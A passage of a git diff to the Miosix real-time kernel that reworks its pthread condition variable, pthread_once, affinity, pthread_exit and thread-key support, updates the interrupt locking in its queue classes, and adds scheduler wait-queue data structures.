//done the night daylight saving time comes in effect? Sounds more a cause + //for hard to spot bugs than a feature. + //Thus, we ignore the clock parameter and forward the call to + //pthread_cond_timedwait which, too, only supports CLOCK_MONOTONIC + return pthread_cond_timedwait(cond,mutex,abstime); } int pthread_cond_signal(pthread_cond_t *cond) { - auto *impl=reinterpret_cast(cond); - bool hppw=impl->doSignal(); - (void)hppw; - /* - * A note on the conditional yield. Doing a pthread_cond_signal/broadcast is - * permitted either with the mutex locked or not. If we're calling signal - * with the mutex locked, yielding isn't a good idea even if we woke up a - * higher priority thread as we "bounce back" since the woken thread will - * block trying to lock the mutex we're holding. Also, the mutex unlock - * will yield anyway and immediately switch to the higher priority thread. - * The issue is, within signal/broadcast, we don't know if we're being - * called with the mutex locked or not. - * So, we implement the following design choice: - * - in the ConditionVariable class we unconditionally yield. Since - * ConditionVariable can also be used with priority inheritance mutexes, - * we assume that we really care about minimizing latency in waking up - * higher priority threads, and we take the bounce back overhead if the - * signal was called with the mutex locked. - * - in pthread_cond_singal/broadcast we don't yield since they can only be - * used with non-priority-inheritance-mutexes, and if the signal is - * called with no mutex locked, the actual context switch to the higher - * priority thread will be delayed to the next preemption. Except with - * EDF though, as it does not preempt after a time quantum so the delay - * could be indefinitely long. In that case, we always yield. - */ - #ifdef SCHED_TYPE_EDF - //If the woken thread has higher priority than our priority, yield - if(hppw) Thread::yield(); - #endif //SCHED_TYPE_EDF + reinterpret_cast(cond)->signal(); return 0; } int pthread_cond_broadcast(pthread_cond_t *cond) { - auto *impl=reinterpret_cast(cond); - bool hppw=impl->doBroadcast(); - (void)hppw; - #ifdef SCHED_TYPE_EDF - //If at least one woken thread has higher priority than our priority, yield - if(hppw) Thread::yield(); - #endif //SCHED_TYPE_EDF + reinterpret_cast(cond)->broadcast(); return 0; } @@ -377,45 +461,136 @@ int pthread_once(pthread_once_t *once, void (*func)()) { if(once==nullptr || func==nullptr || once->is_initialized!=1) return EINVAL; - bool again; - do { - { - FastInterruptDisableLock dLock; - switch(once->init_executed) - { - case 0: //We're the first ones (or previous call has thrown) - once->init_executed=1; - again=false; - break; - case 1: //Call started but not ended - again=true; - break; - default: //Already called, return immediately - return 0; - } - } - #ifndef SCHED_TYPE_EDF - if(again) Thread::yield(); //Yield and let other thread complete - #else //SCHED_TYPE_EDF - if(again) Thread::sleep(1); //Can't yield with EDF, this may be slow - #endif //SCHED_TYPE_EDF - } while(again); - + // Miosix provides a custom optimized implementation of the __cxa_guard_* + // functions to initialize static C++ objects, which happens to fit also + // for this use case, so reuse it + if(once->init_executed==1) return 0; + auto *guard=reinterpret_cast<__cxxabiv1::__guard*>(&once->init_executed); + if(__cxxabiv1::__cxa_guard_acquire(guard)==0) return 0; #ifdef __NO_EXCEPTIONS func(); #else //__NO_EXCEPTIONS try { func(); } catch(...) { - once->init_executed=0; //We failed, let some other thread try + __cxxabiv1::__cxa_guard_abort(guard); throw; } #endif //__NO_EXCEPTIONS - once->init_executed=2; //We succeeded + __cxxabiv1::__cxa_guard_release(guard); + return 0; +} + +// +// Affinity API +// + +//From GCC15.2.0-mp4.0 this is unnecessary as it's in pthread.h, but multiple +//redefinition of the same typedef are not an error +typedef unsigned long long cpu_set_t; + +int pthread_setaffinity_np(pthread_t pthread, size_t cpusetsize, + const cpu_set_t *cpuset) +{ + if(cpusetsize!=sizeof(unsigned long long)) return EINVAL; + auto temp=*reinterpret_cast(cpuset); + if(temp>unrestrictedAffinityMask) return EINVAL; + CpuSet affinity=temp; //kernel CpuSet may be less than 64 bit + if(reinterpret_cast(pthread)->setAffinity(affinity)==true) return 0; + else return EINVAL; +} + +int pthread_getaffinity_np(pthread_t pthread, size_t cpusetsize, + cpu_set_t *cpuset) +{ + if(cpusetsize!=sizeof(unsigned long long)) return EINVAL; + CpuSet affinity=reinterpret_cast(pthread)->getAffinity(); + *reinterpret_cast(cpuset)=affinity; return 0; } -int pthread_setcancelstate(int state, int *oldstate) { return 0; } //Stub +#ifdef WITH_PTHREAD_EXIT + +void pthread_exit(void *returnValue) +{ + throw PthreadExitException(returnValue); +} + +#endif //WITH_PTHREAD_EXIT + +#ifdef WITH_PTHREAD_KEYS + +typedef void (*destructor_type)(void *); + +static FastMutex pthreadKeyMutex; +static bool keySlotUsed[MAX_PTHREAD_KEYS]={false}; +static destructor_type keyDestructor[MAX_PTHREAD_KEYS]={nullptr}; + +int pthread_key_create(pthread_key_t *key, void (*destructor)(void *)) +{ + Lock l(pthreadKeyMutex); + for(unsigned int i=0;i l(pthreadKeyMutex); + if(keySlotUsed[key]==false) return EINVAL; + keySlotUsed[key]=false; + keyDestructor[key]=nullptr; + return 0; +} + +int pthread_setspecific(pthread_key_t key, const void *value) +{ + //This cast because POSIX misunderstood how const works + auto v = const_cast(value); + return Thread::getCurrentThread()->setPthreadKeyValue(key,v); +} + +void *pthread_getspecific(pthread_key_t key) +{ + return Thread::getCurrentThread()->getPthreadKeyValue(key); +} + +#endif //WITH_PTHREAD_KEYS } //extern "C" +#ifdef WITH_PTHREAD_KEYS + +namespace miosix { + +void callPthreadKeyDestructors(void *pthreadKeyValues[MAX_PTHREAD_KEYS]) +{ + for(unsigned int i=0;i l(pthreadKeyMutex); + destructor=keyDestructor[i]; + } + if(destructor) destructor(temp); + } + //NOTE: the POSIX spec state that calling a destructor may set another key + //and we should play whack-a-mole calling again destructors till all values + //become nulllptr, which may lead to an infinite loop or we may choose to + //stop after PTHREAD_DESTRUCTOR_ITERATIONS. For now we don't do it, and act + //as if PTHREAD_DESTRUCTOR_ITERATIONS is 1 on Miosix +} + +} //namespace miosix + +#endif //WITH_PTHREAD_KEYS diff --git a/miosix/kernel/pthread_private.h b/miosix/kernel/pthread_private.h index 51fe7b147..4d375156c 100644 --- a/miosix/kernel/pthread_private.h +++ b/miosix/kernel/pthread_private.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2011-2023 by Terraneo Federico * + * Copyright (C) 2011-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -25,181 +25,48 @@ * along with this program; if not, see * ***************************************************************************/ -//This file contains private implementation details of mutexes, it's not +//This file contains private implementation details of pthread code, it's not //meant to be used by end users #pragma once -#include -#include "kernel.h" -#include "intrusive.h" -#include "sync.h" - namespace miosix { -/** - * \internal - * Implementation code to lock a mutex. Must be called with interrupts disabled - * \param mutex mutex to be locked - * \param d The instance of FastInterruptDisableLock used to disable interrupts - */ -static inline void IRQdoMutexLock(pthread_mutex_t *mutex, - FastInterruptDisableLock& d) -{ - void *p=reinterpret_cast(Thread::IRQgetCurrentThread()); - if(mutex->owner==nullptr) - { - mutex->owner=p; - return; - } - - //This check is very important. Without this attempting to lock the same - //mutex twice won't cause a deadlock because the wait is enclosed in a - //while(owner!=p) which is immeditely false. - if(mutex->owner==p) - { - if(mutex->recursive>=0) - { - mutex->recursive++; - return; - } else errorHandler(MUTEX_DEADLOCK); //Bad, deadlock - } - - WaitingList waiting; //Element of a linked list on stack - waiting.thread=p; - waiting.next=nullptr; //Putting this thread last on the list (lifo policy) - if(mutex->first==nullptr) - { - mutex->first=&waiting; - mutex->last=&waiting; - } else { - mutex->last->next=&waiting; - mutex->last=&waiting; - } - - //The while is necessary to protect against spurious wakeups - while(mutex->owner!=p) Thread::IRQenableIrqAndWait(d); -} +#ifdef WITH_PTHREAD_EXIT /** - * \internal - * Implementation code to lock a mutex to a specified depth level. - * Must be called with interrupts disabled. If the mutex is not recursive the - * mutex is locked only one level deep regardless of the depth value. - * \param mutex mutex to be locked - * \param d The instance of FastInterruptDisableLock used to disable interrupts - * \param depth recursive depth at which the mutex will be locked. Zero - * means the mutex is locked one level deep (as if lock() was called once), - * one means two levels deep, etc. + * Exception type thrown when pthread_exit is called. + * + * NOTE: This type should not derive from std::exception on purpose, as it would + * be bad if a \code catch(std::exception& e) \endcode would match this + * exception. */ -static inline void IRQdoMutexLockToDepth(pthread_mutex_t *mutex, - FastInterruptDisableLock& d, unsigned int depth) +class PthreadExitException { - void *p=reinterpret_cast(Thread::IRQgetCurrentThread()); - if(mutex->owner==nullptr) - { - mutex->owner=p; - if(mutex->recursive>=0) mutex->recursive=depth; - return; - } +public: + /** + * Constructor + * \param returnValue thread return value passed to pthread_exit + */ + PthreadExitException(void *returnValue) : returnValue(returnValue) {} - //This check is very important. Without this attempting to lock the same - //mutex twice won't cause a deadlock because the wait is enclosed in a - //while(owner!=p) which is immeditely false. - if(mutex->owner==p) - { - if(mutex->recursive>=0) - { - mutex->recursive=depth; - return; - } else errorHandler(MUTEX_DEADLOCK); //Bad, deadlock - } + /** + * \return the thread return value passed to pthread_exit + */ + void *getReturnValue() const { return returnValue; } - WaitingList waiting; //Element of a linked list on stack - waiting.thread=p; - waiting.next=nullptr; //Putting this thread last on the list (lifo policy) - if(mutex->first==nullptr) - { - mutex->first=&waiting; - mutex->last=&waiting; - } else { - mutex->last->next=&waiting; - mutex->last=&waiting; - } +private: + void *returnValue; +}; - //The while is necessary to protect against spurious wakeups - while(mutex->owner!=p) Thread::IRQenableIrqAndWait(d); - if(mutex->recursive>=0) mutex->recursive=depth; -} +#endif //WITH_PTHREAD_EXIT +#ifdef WITH_PTHREAD_KEYS /** - * \internal - * Implementation code to unlock a mutex. - * Must be called with interrupts disabled - * \param mutex mutex to unlock - * \return true if a higher priority thread was woken, - * only if EDF scheduler is selected, otherwise it always returns false + * Called at thread exit to call destructors for pthread keys + * \param pthreadKeyValues thread-local pthread_key values */ -static inline bool IRQdoMutexUnlock(pthread_mutex_t *mutex) -{ -// Safety check removed for speed reasons -// if(mutex->owner!=reinterpret_cast(Thread::IRQgetCurrentThread())) -// return false; - if(mutex->recursive>0) - { - mutex->recursive--; - return false; - } - if(mutex->first!=nullptr) - { - Thread *t=reinterpret_cast(mutex->first->thread); - t->IRQwakeup(); - mutex->owner=mutex->first->thread; - mutex->first=mutex->first->next; - - #ifndef SCHED_TYPE_EDF - if(Thread::IRQgetCurrentThread()->IRQgetPriority() < t->IRQgetPriority()) - return true; - #endif //SCHED_TYPE_EDF - return false; - } - mutex->owner=nullptr; - return false; -} - -/** - * \internal - * Implementation code to unlock all depth levels of a mutex. - * Must be called with interrupts disabled - * \param mutex mutex to unlock - * \return the mutex recursive depth (how many times it was locked by the - * owner). Zero means the mutex is locked one level deep (lock() was called - * once), one means two levels deep, etc. - */ -static inline unsigned int IRQdoMutexUnlockAllDepthLevels(pthread_mutex_t *mutex) -{ -// Safety check removed for speed reasons -// if(mutex->owner!=reinterpret_cast(Thread::IRQgetCurrentThread())) -// return false; - if(mutex->first!=nullptr) - { - Thread *t=reinterpret_cast(mutex->first->thread); - t->IRQwakeup(); - mutex->owner=mutex->first->thread; - mutex->first=mutex->first->next; - - if(mutex->recursive<0) return 0; - unsigned int result=mutex->recursive; - mutex->recursive=0; - return result; - } - - mutex->owner=nullptr; - - if(mutex->recursive<0) return 0; - unsigned int result=mutex->recursive; - mutex->recursive=0; - return result; -} +void callPthreadKeyDestructors(void *pthreadKeyValues[MAX_PTHREAD_KEYS]); +#endif //WITH_PTHREAD_KEYS } //namespace miosix diff --git a/miosix/kernel/queue.h b/miosix/kernel/queue.h index 7aa3ae46a..d68a1039f 100644 --- a/miosix/kernel/queue.h +++ b/miosix/kernel/queue.h @@ -27,7 +27,7 @@ #pragma once -#include "kernel.h" +#include "thread.h" #include "error.h" namespace miosix { @@ -134,40 +134,21 @@ class QueueBase * Being a blocking call, it cannot be called inside an IRQ, it can only be * called when interrupts are disabled. * \param elem element to add to the queue - * \param dLock the FastInterruptDisableLock object that was used to disable + * \param dLock the FastGlobalIrqLock object that was used to disable * interrupts in the current context. */ - void IRQputBlocking(const T& elem, FastInterruptDisableLock& dLock); + void IRQputBlocking(const T& elem, FastGlobalIrqLock& dLock); /** * Put an element to the queue, only if the queue is not full.
* Can ONLY be used inside an IRQ, or when interrupts are disabled. - * Puts any waiting thread out of sleep state, but doesn't cause any - * preemption, and threads won't immediately wakeup. * \param elem element to add. The element has been added only if the * return value is true * \return true if the queue was not full. * \note This method is meant as a non-blocking version of put() to use - * in a thread context with interrupts disabled. For enqueuing data from - * an interrupt, use IRQput(elem, hppw). + * in a thread context with interrupts disabled. */ - bool IRQput(const T& elem) { return IRQput(elem,nullptr); } - - /** - * Put an element to the queue, only if the queue is not full.
- * Can ONLY be used inside an IRQ, or when interrupts are disabled. - * Puts any waiting thread out of sleep state, but doesn't cause any - * preemption, and threads won't immediately wakeup. - * \param elem element to add. The element has been added only if the - * return value is true - * \param hppw is set to `true' if a scheduler update is necessary to - * wake up a formerly sleeping thread with `Scheduler::IRQfindNextThread()`. - * Otherwise it is not modified. - * \return true if the queue was not full. - * \note This method is meant as a non-blocking version of put() to use - * in an IRQ context. - */ - bool IRQput(const T& elem, bool& hppw) { return IRQput(elem,&hppw); } + bool IRQput(const T& elem); /** * Get an element from the queue. If the queue is empty, then sleep until @@ -182,31 +163,19 @@ class QueueBase * Being a blocking call, it cannot be called inside an IRQ, it can only be * called when interrupts are disabled. * \param elem an element from the queue - * \param dLock the FastInterruptDisableLock object that was used to disable + * \param dLock the FastGlobalIrqLock object that was used to disable * interrupts in the current context. */ - void IRQgetBlocking(T& elem, FastInterruptDisableLock& dLock); - - /** - * Get an element from the queue, only if the queue is not empty.
- * Can ONLY be used inside an IRQ, or when interrupts are disabled. - * \param elem an element from the queue. The element is valid only if the - * return value is true - * \return true if the queue was not empty - */ - bool IRQget(T& elem) { return IRQget(elem,nullptr); } + void IRQgetBlocking(T& elem, FastGlobalIrqLock& dLock); /** * Get an element from the queue, only if the queue is not empty.
* Can ONLY be used inside an IRQ, or when interrupts are disabled. * \param elem an element from the queue. The element is valid only if the * return value is true - * \param hppw is not modified if no thread is woken or if the woken thread - * has a lower or equal priority than the currently running thread, else is - * set to true * \return true if the queue was not empty */ - bool IRQget(T& elem, bool& hppw) { return IRQget(elem,&hppw); } + bool IRQget(T& elem); /** * Clear all items in the queue.
@@ -214,7 +183,7 @@ class QueueBase */ void reset() { - FastInterruptDisableLock lock; + FastGlobalIrqLock lock; IRQreset(); } @@ -229,28 +198,6 @@ class QueueBase QueueBase& operator= (const QueueBase& s) = delete; private: - /** - * Put an element to the queue, only if the queue is not full. - * \param elem element to add. The element has been added only if the - * return value is true - * \param hppw is not modified if nullptr or no thread is woken or if the - * woken thread has a lower or equal priority than the currently running - * thread, else is set to true - * \return true if the queue was not full - */ - bool IRQput(const T& elem, bool *hppw); - - /** - * Get an element from the queue, only if the queue is not empty. - * \param elem an element from the queue. The element is valid only if the - * return value is true - * \param hppw is not modified if nullptr or no thread is woken or if the - * woken thread has a lower or equal priority than the currently running - * thread, else is set to true - * \return true if the queue was not empty - */ - bool IRQget(T& elem, bool *hppw); - /** * Wake an eventual waiting thread. * Must be called when interrupts are disabled @@ -273,86 +220,87 @@ class QueueBase template void QueueBase::put(const T& elem) { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; while(IRQput(elem)==false) { waiting=Thread::IRQgetCurrentThread(); - Thread::IRQenableIrqAndWait(dLock); + Thread::IRQglobalIrqUnlockAndWait(dLock); } } template -void QueueBase::IRQputBlocking(const T& elem, FastInterruptDisableLock& dLock) +void QueueBase::IRQputBlocking(const T& elem, FastGlobalIrqLock& dLock) { while(IRQput(elem)==false) { waiting=Thread::IRQgetCurrentThread(); - Thread::IRQenableIrqAndWait(dLock); + Thread::IRQglobalIrqUnlockAndWait(dLock); } } template void QueueBase::get(T& elem) { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; while(IRQget(elem)==false) { waiting=Thread::IRQgetCurrentThread(); - Thread::IRQenableIrqAndWait(dLock); + Thread::IRQglobalIrqUnlockAndWait(dLock); } } template -void QueueBase::IRQgetBlocking(T& elem, FastInterruptDisableLock& dLock) +void QueueBase::IRQgetBlocking(T& elem, FastGlobalIrqLock& dLock) { while(IRQget(elem)==false) { waiting=Thread::IRQgetCurrentThread(); - Thread::IRQenableIrqAndWait(dLock); + Thread::IRQglobalIrqUnlockAndWait(dLock); } } template -bool QueueBase::IRQput(const T& elem, bool *hppw) +bool QueueBase::IRQput(const T& elem) { - if(hppw && waiting && (Thread::IRQgetCurrentThread()->IRQgetPriority() < - waiting->IRQgetPriority())) *hppw=true; - IRQwakeWaitingThread(); if(isFull()) return false; - numElem++; + numElem+=1; buffer.data[putPos]=elem; - if(++putPos==buffer.size()) putPos=0; + putPos+=1; + if(putPos==buffer.size()) putPos=0; + IRQwakeWaitingThread(); return true; } template -bool QueueBase::IRQget(T& elem, bool *hppw) +bool QueueBase::IRQget(T& elem) { - if(hppw && waiting && (Thread::IRQgetCurrentThread()->IRQgetPriority()) < - waiting->IRQgetPriority()) *hppw=true; - IRQwakeWaitingThread(); if(isEmpty()) return false; - numElem--; + numElem-=1; elem=std::move(buffer.data[getPos]); - if(++getPos==buffer.size()) getPos=0; + getPos+=1; + if(getPos==buffer.size()) getPos=0; + IRQwakeWaitingThread(); return true; } template void QueueBase::IRQreset() { - IRQwakeWaitingThread(); //Relying on constant folding to omit this code for trivial types if(std::is_trivially_destructible::value==false) { while(!isEmpty()) { - numElem--; + numElem-=1; buffer.data[getPos].~T(); - if(++getPos==buffer.size()) getPos=0; + getPos+=1; + if(getPos==buffer.size()) getPos=0; } } - putPos=getPos=numElem=0; + putPos=0; + getPos=0; + numElem=0; + IRQwakeWaitingThread(); } } // namespace internal @@ -369,7 +317,7 @@ void QueueBase::IRQreset() * where a thread tries to access a deleted queue. * * \warning the type T most not have a copy constructor or operator= that - * allocate memory, as allocating memory in FastInterruptDisableLock context + * allocate memory, as allocating memory in FastGlobalIrqLock context * and within interrupt handlers is not possible. * * \tparam T the type of elements in the queue @@ -389,7 +337,7 @@ using Queue = internal::QueueBase>; * where a thread tries to access a deleted queue. * * \warning the type T most not have a copy constructor or operator= that - * allocate memory, as allocating memory in FastInterruptDisableLock context + * allocate memory, as allocating memory in FastGlobalIrqLock context * and within interrupt handlers is not possible. * * \tparam T the type of elements in the queue @@ -474,7 +422,7 @@ template bool DynUnsyncQueue::tryPut(const T& elem) { if(isFull()) return false; - queueSize++; + queueSize+=1; data[putPos++]=elem; if(putPos>=queueCapacity) putPos=0; return true; @@ -484,7 +432,7 @@ template bool DynUnsyncQueue::tryGet(T& elem) { if(isEmpty()) return false; - queueSize--; + queueSize-=1; elem=data[getPos++]; if(getPos>=queueCapacity) getPos=0; return true; @@ -556,8 +504,8 @@ class BufferQueue */ void bufferFilled(unsigned int actualSize) { - if(isFull()) errorHandler(UNEXPECTED); - cnt++; + if(isFull()) errorHandler(Error::UNEXPECTED); + cnt+=1; bufSize[put++]=actualSize; if(put>=numbuf) put=0; } @@ -591,8 +539,8 @@ class BufferQueue */ void bufferEmptied() { - if(isEmpty()) errorHandler(UNEXPECTED); - cnt--; + if(isEmpty()) errorHandler(Error::UNEXPECTED); + cnt-=1; get++; if(get>=numbuf) get=0; } @@ -607,7 +555,9 @@ class BufferQueue */ void reset() { - put=get=cnt=0; + put=0; + get=0; + cnt=0; } //Unwanted methods diff --git a/miosix/kernel/sched_data_structures.h b/miosix/kernel/sched_data_structures.h new file mode 100644 index 000000000..1a16d244f --- /dev/null +++ b/miosix/kernel/sched_data_structures.h @@ -0,0 +1,666 @@ +/*************************************************************************** + * Copyright (C) 2010-2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "kernel/intrusive.h" +#include "kernel/thread.h" + +/** + * \file sched_data_structures.h + * + * This file contains core data structures used to implement the schedulers and + * synchronization primitives. + * These data structures do not allocate memory on the heap, and can be used + * also in contexts where the GlobalIrqLock or PauseKernelLock is taken provided + * that all calls to the member functions are made with the same lock taken, + * as no locking is performed by the data structures themselves. + */ + +namespace miosix { + +/** + * \internal + * A priority queue class not meant for general-purpose use but instead + * optimized for the specific task of being a thread waiting queue to be used + * as an implementation detail in synchronization primitives when scheduled + * with SCHED_TYPE_PRIORITY. + * + * It has the following properties: + * - enqueue is O(1) in the number of enqueued items + * - dequeueOne() is also O(1) in the number of enqueued items, and it always + * returns the highest priority item inserted. Additinally, if multiple items + * with the same priority are enqueued, they are dequeued in FIFO order to + * prevent starvation. + * - dequeueAll() is of course O(n) + * - remove is O(1) + * + * To achieve this result, it is implemented as an array of lists, one for each + * priority level. + * + * \tparam T a class that must inherit from IntrusiveListItem, as items are + * stored in IntrusiveList + * \tparam numPriorities number of priorities the queue needs to support. + * Vald priority values rage from 0 to numPriorities-1. Note that the memory + * occupied by this class is proportional to the number of priorities + */ +template +class PriorityQueue +{ +public: + /** + * \return true if the PriorityQueue is empty + */ + bool empty() const + { + for(int i=numPriorities-1;i>=0;i--) + if(queued[i].empty()==false) + return false; + return true; + } + + /** + * \return the first item that would be woken up if dequeueOne() was called. + * Causes undefined behavior if called when the queue is empty + */ + T *front() + { + for(int i=numPriorities-1;i>=0;i--) + { + if(queued[i].empty()) continue; + return queued[i].front(); + } + return nullptr; + } + + /** + * Add an item to the queue. + * \param item pointer to an item. The queue does not take ownership of the + * pointer and does not deallocate it in any way when dequeued/removed, this + * is a responsibility of the caller + * \param priority the item priority. The priority value must be + * 0 <= priority < numPriorities + */ + void enqueue(T *item, Priority priority) + { + queued[priority.get()].push_back(item); + } + + /** + * Dequeue the highest priority item in the queue, if any + * \return the highest priority item (if multiple items with the same + * priority have been added, they are returned in FIFO order) or nullptr if + * the queue is empty + */ + T* dequeueOne() + { + T *result=nullptr; + for(int i=numPriorities-1;i>=0;i--) + { + if(queued[i].empty()) continue; + result=queued[i].front(); + queued[i].pop_front(); + break; + } + return result; + } + + /** + * Efficiently dequeue all items from the queue. After this method is + * called, the queue will be empty + * \param op callback operation that will be invoked once for every item + * found in the queue, passing the item as callback parameter + */ + void dequeueAll(void (*op)(T *)) + { + for(int i=numPriorities-1;i>=0;i--) + { + while(!queued[i].empty()) + { + op(queued[i].front()); + queued[i].pop_front(); + } + } + } + + /** + * Remove a specific item from the queue + * \param item item to remove. This function is implemented by calling + * IntrusiveList::removeFast(), so all the warning related to this + * function apply here. + * \param priority item priority, which MUST be the exact same value that + * was passed when the item was enqueued, as IntrusiveList::removeFast() + * produces undefined behavior when removing an item from a different list + * than the one it was inserted. + */ + void remove(T *item, Priority priority) + { + queued[priority.get()].removeFast(item); + } + +private: + ///\internal Vector of lists of items, there's one list for each priority + IntrusiveList queued[numPriorities]; +}; + +/** + * \internal + * A time-sorted queue class not meant for general-purpose use but instead + * optimized for the specific task of being a thread waiting queue to be used + * as an implementation detail in synchronization primitives when scheduled + * with SCHED_TYPE_EDF. + * + * It has the following properties: + * - enqueue() is worst-case O(n) in the number of enqueued items + * - dequeueOne() and dequeueTime() are O(1) in the number of enqueued items, + * and always return the item with the lowest associated time. Additionally, if + * multiple items with the same associated time are enqueued, they are dequeued + * in LIFO order as it makes for a faster implementation and if the passed + * times are deadlines, if the pool is schedulable all deadlines will be met + * regardless of the order in which items are dequeued. + * - dequeueAll() is of course O(n) + * - remove is O(1) + * + * \tparam T a class that must inherit from IntrusiveListItem, as items are + * stored in IntrusiveList. Additionally, the T type must provide a getTime() + * member function to retrieve the associated time + * \tparam getTime functor that returns the time associated with an item T + */ +template +class TimeSortedQueue +{ +public: + /// Iterator type + using iterator=typename IntrusiveList::iterator; + + /** + * \return true if the TimeSortedQueue is empty + */ + bool empty() const { return queued.empty(); } + + /** + * \return the first item that would be woken up if dequeueOne() was called. + * Causes undefined behavior if called when the queue is empty + */ + T *front() { return queued.front(); } + + /** + * \return an iterator to the first item in the queue + */ + iterator begin() { return queued.begin(); } + + /** + * \return an iterator to one past the last item in the queue + */ + iterator end() { return queued.end(); } + + /** + * Removes the specified item from the queue + * \param it iterator to the item to remove + * \return an iterator to the next item + */ + iterator erase(iterator it) + { + return queued.erase(it); + } + + /** + * \param item item to check whether it is present in the queue + * \return true if the given item was found in the queue + */ + bool contains(T *item) + { + for(auto it : queued) if(it==item) return true; + return false; + } + + /** + * Add an item to the queue. + * \param item pointer to an item. The queue does not take ownership of the + * pointer and does not deallocate it in any way when dequeued/removed, this + * is a responsibility of the caller + */ + void enqueue(T *item) + { + GetTime getTime; + long long t=getTime(item); + auto it=queued.begin(); + while(it!=queued.end() && getTime(*it)::removeFast(), so all the warning related to this + * function apply here + * \return true if the item was removed, false if the item was not present + * in the list. + */ + bool remove(T *item) { return queued.removeFast(item); } + +private: + ///\internal List of items, sorted by wakeup time + IntrusiveList queued; +}; + +/** + * \internal + * A FIFO queue class not meant for general-purpose use but instead + * optimized for the specific task of being a thread waiting queue to be used + * as an implementation detail in synchronization primitives. + * + * It has the following properties: + * - enqueue() is O(1) in the number of enqueued items + * - dequeueOne() is O(1) in the number of enqueued items, and returns items in + * FIFO order + * - dequeueAll() is of course O(n) + * - remove is O(1) + * + * \tparam T a class that must inherit from IntrusiveListItem, as items are + * stored in IntrusiveList. + */ +template +class FifoQueue +{ +public: + /// Iterator type + using iterator=typename IntrusiveList::iterator; + + /** + * \return true if the TimeSortedQueue is empty + */ + bool empty() const { return queued.empty(); } + + /** + * \return the first item that would be woken up if dequeueOne() was called. + * Causes undefined behavior if called when the queue is empty + */ + T *front() { return queued.front(); } + + /** + * \return an iterator to the first item in the queue + */ + iterator begin() { return queued.begin(); } + + /** + * \return an iterator to one past the last item in the queue + */ + iterator end() { return queued.end(); } + + /** + * Removes the specified item from the queue + * \param it iterator to the item to remove + * \return an iterator to the next item + */ + iterator erase(iterator it) + { + return queued.erase(it); + } + + /** + * \param item item to check whether it is present in the queue + * \return true if the given item was found in the queue + */ + bool contains(T *item) + { + for(auto it : queued) if(it==item) return true; + return false; + } + + /** + * Add an item to the queue. + * \param item pointer to an item. The queue does not take ownership of the + * pointer and does not deallocate it in any way when dequeued/removed, this + * is a responsibility of the caller + */ + void enqueue(T *item) + { + queued.push_back(item); + } + + /** + * Dequeue the item in the queue with the lowest associated time, if any + * \return an item previously inserted in FIFO order or nullptr if the + * queue is empty + */ + T* dequeueOne() + { + if(queued.empty()) return nullptr; + T *result=queued.front(); + queued.pop_front(); + return result; + } + + /** + * Efficiently dequeue all items from the queue. After this method is + * called, the queue will be empty + * \param op callback operation that will be invoked once for every item + * found in the queue, passing it as callback parameter + */ + void dequeueAll(void (*op)(T *)) + { + while(!queued.empty()) + { + op(queued.front()); + queued.pop_front(); + } + } + + /** + * Remove a specific item from the queue + * \param item item to remove. This function is implemented by calling + * IntrusiveList::removeFast(), so all the warning related to this + * function apply here. + */ + void remove(T *item) { queued.removeFast(item); } + +private: + ///\internal List of items, sorted by wakeup time + IntrusiveList queued; +}; + +/** + * List of possible ways a WaitQueue can handle the priority of waiting threads + */ +enum class PriorityPolicy +{ + ConsiderInheritedPriority, ///< Threads awakened in order of actual priority + IgnoreInheritedPriority ///< Threads awakened in order of "saved" priority +}; + +/** + * \internal + * A queue class for holding threads waiting on a synchronization primitive + * such as a Mutex or ConditionVariable. + * + * The queue implementation is scheduler-dependent so as to correctly prioritize + * threads wakeups depending on the chosen scheduler + * + * NOTE: since this class is only meant to implement synchronization primitives + * and in Miosix from version 3 onwards synchronization primitives are + * implemented using PauseKernelLock, this class uses PK prefixed member + * functions to access thread properties, and assumes the class is only accessed + * while holding the PauseKernelLock + * + * \tparam pp priority policy. Can be one of two values: + * - IgnoreInheritedPriority: for schedulers where priority-based wakeup is + * needed, wakeup waiting threads based on their original "saved" priority, + * thus not considering the inherited priority due to priority inheritance. + * - ConsiderInheritedPriority: for schedulers where priority-based wakeup is + * needed, wakeup waiting threads based on their actual priority, thus + * considering the inherited priority. Note that you can't just set this + * option and be done. If you set this option, your synchronization primitive + * must be part of the thread's locked list so the synchronization primitive + * is notified every time a priority boost happens and can remove the waiting + * thread from the waitQueue, then boost the priority and then place it back. + * Failing to do so will not only defeat the purpose of waking threads + * considering the inherited priority but also cause undefined behavior for + * some WaitQueue implementations, namely those with an array of lists + * indexed by priority. + */ +template +class WaitQueue +{ +public: + static_assert(pp==PriorityPolicy::ConsiderInheritedPriority + || pp==PriorityPolicy::IgnoreInheritedPriority,""); + + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + WaitQueue() : queue(new PriorityQueue) {} + #endif + + /** + * \return true if the WaitQueue is empty + */ + bool PKempty() const + { + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + if(queue==nullptr) return true; + return queue->empty(); + #else + return queue.empty(); + #endif + } + + /** + * \return the first thread that would be woken up if PKwakeOne() was called. + * Causes undefined behavior if called when the queue is empty + */ + Thread *PKfront() + { + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + return queue->front()->thread; + #else + return queue.front()->thread; + #endif + } + + /** + * Add a thread to the queue. + * \param thread thread to add to the wait queue + */ + void PKenqueue(Thread *thread) + { + #if defined(SCHED_TYPE_PRIORITY) && NUM_PRIORITIES>1 + //We allocate here only for statically allocated pthread_* objects, + //in all other cases allocation happens in the constructor + 